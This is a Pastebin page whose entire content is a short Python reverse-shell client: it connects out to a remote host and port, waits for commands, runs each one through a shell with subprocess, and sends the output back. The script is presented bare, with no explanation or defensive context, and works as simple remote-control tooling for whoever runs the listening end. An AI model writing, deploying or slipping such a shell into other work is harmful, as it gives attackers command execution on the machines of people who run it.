Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import subprocess
- REMOTE_HOST = '127.0.0.1' # '192.168.43.82'
- REMOTE_PORT = 8081 # 2222
- client = socket.socket()
- print("[-] Connection Initiating...")
- client.connect((REMOTE_HOST, REMOTE_PORT))
- print("[-] Connection initiated!")
- while True:
- print("[-] Awaiting commands...")
- command = client.recv(1024)
- command = command.decode()
- op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
- output = op.stdout.read()
- output_error = op.stderr.read()
- print("[-] Sending response...")
- client.send(output + output_error)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement